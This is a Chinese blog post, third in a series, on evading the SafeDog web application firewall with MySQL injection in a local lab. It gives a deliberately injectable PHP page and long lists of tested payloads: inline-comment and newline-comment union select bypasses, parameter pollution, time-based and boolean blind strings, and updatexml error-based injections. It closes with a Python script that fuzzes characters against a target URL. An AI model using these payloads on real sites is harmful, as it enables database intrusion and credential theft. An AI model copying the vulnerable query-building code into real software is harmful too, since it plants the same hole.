SQL注入及bypass思路(3)安全狗safedog
联合注入过狗
其实我们过这些waf
就是进行正则的绕过,因为这种通用型的waf
,需要考虑到用户体验,它不能出现什么东西就直接进行拦截。如果绕过我们需要具备对mysql各个函数,语法,特性的熟悉,然后通过不断的fuzz来测试出我们想要的payload
每个狗的版本不同,它的正则也是不同的,所以有的payload在最新版可以用,在老版本就可能用不上,当你的知识量有一定积累后,绕过waf或许就很简单
如何快速地提升自己的这些知识,多看文章,多看官方手册
实验环境
windows10 phpstudy2018 安全狗v4.023137
注意这里安全狗的版本跟原文中不一致
test.php
代码跟之前一样
<?php
if($_GET['id']){
$id= $_GET['id'];
$conn = mysql_connect('127.0.0.1','root','root');
mysql_select_db('sqlvul',$conn);
$sql = "select * from user where id=$id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "id: ".$row['id']."</br>";
echo "username: ".$row['username']."</br>";
echo "password: ".$row['password']."</br>";
}
mysql_close($conn);
echo "</br>"."sql :".$sql;
}else{
echo "id,get,懂?";
}
?>
探索 and
我们首先来探索简单的语句 and 1=1
http://127.0.0.1/test.php?id=1%20and%201=1
简单变形
and 1 拦截
and '1' 拦截
and a 不拦截
and 'a' 拦截
and ! 拦截
and 1+1 拦截
and 1+a 拦截
and hex(1) 拦截
and ord("a") 不拦截
我们有两个思路:
- 用其他字符替换 and 或者 or
- 带入的不是字符串和数字型,带入特殊字符或者特殊函数
针对第一种我们可以看看运算符号,随便找到几个
| ^ xor & / * && ||
等等
mysql> select '1'|1;
+-------+
| '1'|1 |
+-------+
| 1 |
+-------+
1 row in set (0.03 sec)
mysql> select '1'&1;
+-------+
| '1'&1 |
+-------+
| 1 |
+-------+
1 row in set (0.00 sec)
mysql> select '1'^1;
+-------+
| '1'^1 |
+-------+
| 0 |
+-------+
1 row in set (0.00 sec)
这里简单使用与,或,异或组合结果,从此处出发我们通过运算符来改变ID的值,查看页面是否变化,进而注入
mysql> select * from user;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 4 | 3test | 11 |
| 1 | 1test | 11 |
| 3 | admin'111 | 11 |
| 5 | admin | admin |
+------+-----------+----------+
4 rows in set (0.00 sec)
mysql> select * from user where id='1'|2-- +';
-> ;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 3 | admin'111 | 11 |
+------+-----------+----------+
1 row in set (0.00 sec)
mysql> select * from user where id='1'|1-- +';
-> ;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | 1test | 11 |
+------+----------+----------+
1 row in set (0.00 sec)
mysql
自动转换和或运算组合得到了上述结果
不过经过测试上述方法已经失效了,同时&& true
也失效了
直接硬刚and
吧
修改了一下payload
,发现这样是可以的
?id=1 and ord("a")-96
?id=1 and ord("a")-97
类似于and 1=1
的效果,用来判断是否存在注入
原文中的
and ~1>1
and hex(1)>-1
and hex(1)>~1
也已经失效
探索 union select
内联注释绕过
这种方法经久不衰
union 不拦截
select 不拦截
union select 拦截
union 各种字符 select 拦截
union%20%a0select 拦截
union/*select*/ 不拦截
经过简单的测试,我们发现安全狗还是认识我们的注释符号,所以我们需要利用注释符号来绕过安全狗
我们主要使用的是 内联注释 /*!/*!*/
原文中的方式在该版本中都被拦截
http://192.168.59.129/Less-1/?id=1' union/*!/*!50000select*/ 1,2,3--+
http://192.168.59.129/Less-1/?id=1' union/*!/*!5select*/ 1,2,3--+
这里给出一个不被拦截的payload
/*!union/*/*/*%00select*/%201,2,3--+
下一篇博客会给出使用FUZZ
和垃圾数据填充方式注入绕过waf的方法
原文中给出的payload
当时不拦截的原因是因为50000是它的版本号,你多一位少一位语句是不能正常执行的,所以它放行了,我们可以使用burp来遍历这个值,得到我们想要的payload
这里bypass的核心在于版本号,然后你就感觉fuzz了千种姿势,但是核心还是这个
注释绕过
联想注释我们还知道有 -- #
,那么它们可以利用吗,当然是肯定的,其实很久以前就有大佬发过这个语句
union %23%0aselect
因为%23
是单行注释,而%0a
是换行的url编码
但是这样已经被加入规则库了,我们在此基础上进行分析
union %23%0aselect 拦截
union %23select 拦截
union a%23 select 拦截
union all%23 select 拦截
union all%23%0a select 拦截
union %23%0aall select 拦截
原文中的payload
都已经被拦截了
这里的思路是在基础payload上左右加字符fuzz过waf
在原文的基础上变形得到过waf payload
,这里是内联注释加单行注释组合
union%20%23%0aall%20/!*select*/
-- 注释绕过
最初的姿势是-- %0a
,当然已经被加入全国联保豪华午餐,我们继续在原payload的基础上进行变形
union all -- %0a select 拦截
union -- ()%0a select 拦截
union -- 1%0a select 拦截
union -- hex()%0a select 拦截
原文中的payload一如既往被全部拦截了
我们继续在此基础上变形
union%20%20--%20/*#*/%0aord()%0a%20select
老生常谈hpp 被人遗忘的手法
前面说过/**/
里面的内容安全狗基本不管了,那么我们用hpp参数污染来进行绕过,造成这个手法的原因是 web server对参数的解析问题,在php/apache中,它总解析最后一个id
?id=-1' /*&id='union select 1,user(),3 -- +*/
注入
既然绕过了union select
,那么注入就简单了,首先来看个user()
,因为该函数是被拦截的,所以我们需要简单的绕过
user() 拦截
user/**/() 拦截
user/**/(/**/) 拦截
hex(user/**/(/**/)) 拦截
cl4y
师傅博客里的payload
也已经被拦截
/*!USER/*!/*/**/*/()/**/
不过在本地mysql命令行上测试该payload
无效,或许是我操作的问题
mysql> select /*!USER/*!/*/**/*/()/**/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
在原来的基础上进行变形,使用该payload
/*!USER*/(/*/**/)
mysql> select /*!USER*/(/*/**/);
+----------------+
| USER( ) |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
其实就是一个不断fuzz
的过程
接着就是爆库名,当然这个payload也被拦截了,这里就不再手动进行分析了,放在下一篇博客中进行绕过
union -- hex()%0a select 1,schema_name,3 from
information_schema.schemata limit 1,1
接下来的流传都差不多了 关键点就是在于 from 后面这块 后面的我以这个 information_schema.schemata
为例展示几种思路可能有的不能过
`information_schema`.schemata
`information_schema`.`schemata`
information_schema.`schemata`
(information_schema.schemata)
information_schema/**/.schemata
延时过狗
盲注过狗相对联合注入来说,感觉上是更简单,我们先来试试时间盲注,比布尔稍微灵活一些
if(1,1,1) 不拦截
a if(1,1,1) 不拦截
and if(1,1,1) 拦截
| if(1,1,1) 拦截
|| if(1,1,1) 拦截
&& if(1,1,1) 拦截
/*!and*/ if(1,1,1) 拦截
/*!11440and*/ if(1,1,1) 不拦截
andaif(1,1,1) 不拦截
通过上面的测试,我们其实可以很简单的看出来,它是拦截的xx if 这个语句,其中xx为 and 和 or 这两个词有点敏感,但是绕过还是可以的
通过上一章的测试语句,发现版本为 11440 的内联注释直接放行,后面也可以直接通过该方法注入,但我们这一章尝试不适用内联注释绕过
查阅乌云知识库发现一个小知识点 and!!!1=1
,and后面可以接上奇数个特殊字符,包括但不限于! ~ & -
,其他的我们还可以自己测试,根据此知识点构造payload
and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)
不过好像这payload
也不太好使
and!~!&&&&&~!!if(1,1,1)
同样也会被拦截
布尔过狗
布尔注入过狗只能说是相当来说最简单的吧,因为可以不适用条件语句,少了一个绕过点
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)='r' 拦截
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r 拦截
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=1 拦截
现在也已经加入套餐
另外我们可以尝试把 and 换成 &&
and substr((select hex(user/**/(/*!*/))),1,1)>1 拦截
/*!and*/ substr((select hex(user/**/(/*!*/))),1,1)>1 拦截
%26%26 substr((select hex(user/**/(/*!*/))),1,1)>1 拦截
/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1 拦截
当然这些也被拦截了,呕
fuzz一个可用payload
重新fuzz
一个可用的bool payload
先fuzz
一个基础payload
/*!and*//*/**/1=1
结合这个payload
/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1
原来这个payload 的效果
组合重构
/*!and*//*/**/substr((select/*/**/hex(user/**/(/*!*/))),1,1)>1
依然被拦截,猜测是user()
函数的原因,把之前过狗的user()
函数拿来组合得到以下payload:
/*!and*//*/**/substr((select/*/**/hex(/*!USER*/(/*/**/))),1,1)>1
/*!and*//*/**/substr((select/*/**/hex(/*!USER*/(/*/**/))),1,1)>999
两组payload
页面不同,达到了布尔注入的目的
探索报错
报错注入的绕过,感觉很少人提过,不少人绕过也有一定的误区吧,这里提一提
updatexml 不拦截
updatexml(1,2,3 不拦截
updatexml(1,2) 不拦截
updatexml(1,2,) 不拦截
updatexml(,2,1) 不拦截
updatexml(1,2,!) 拦截
updatexml(1,2,%) 不拦截
updatexml(,2,1,hex()) 拦截
and updatexml(1,2,3 不拦截
updatexml(1,2,3) 拦截
and updatexml(1,2,3) 拦截
这里的updatexml(1,2,%)
与原文中不一样,没有被拦截
不过从上面的测试我们也大概知道了,它会判断updatexml
的完整性,当里面按逗号分割出现3个字符时,就会拦截(虽然不知道为什么有%
的没有被拦截),当然有个别特殊的字符串它没过滤
这样我们在括号里面做手脚的可能性很渺茫,那么我们还有什么办法呢,可以尝试把updatexml()
函数分开,或者给 updatexml 加个外套
/*updatexml*/(1,1,1) 不拦截
/*!updatexml*/(1,1,1) 拦截
/*!5000updatexml*/(1,1,1) 不拦截
/*!11440updatexml*/(1,1,1) 不拦截
看来updatexml()
函数我们已经绕过了(确实如此),需要前面加个运算符号了
and /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
or /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
/*!and*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
/*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
/*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
/*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
| /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
看来都失效了,组合一下之前的过狗and
,很容易得到
/*!and*//*/**//*!11440updatexml*/(1,1,1)
那么有没有什么可以包裹它的呢,其实我们查看mysql
手册找到这么一个符号,开单引号 ASCII 96
1' and
updatexml(1,(select hex(user/**/(/**/))),1)-- +
当然也失效了,不过我们可以学习一下脚本fuzz
的思路
import requests
import urllib
for i in range(0,177):
url = r"http://192.168.130.135/Less-1/?id=1%27%20xor%20{fuzz}updatexml{fuzz}(1,(select hex(user/**/(/**/))),1)--%20+".format(fuzz=urllib.quote(chr(i)))
req = requests.get(url)
if "F6F7" in req.text:
print len(req.text),i,urllib.quote(chr(i))
遍历字符并一一请求页面,如果存在回显,则bypass
成功
文末
脚本只是你的一个思路衍生
安全狗注入bypass
的分析到这里就结束了,后面有空还会接着分析云锁,云盾,D盾,其实如果每个步骤都测试了的,相信很快就能写出自己的sql bypass safedog tamper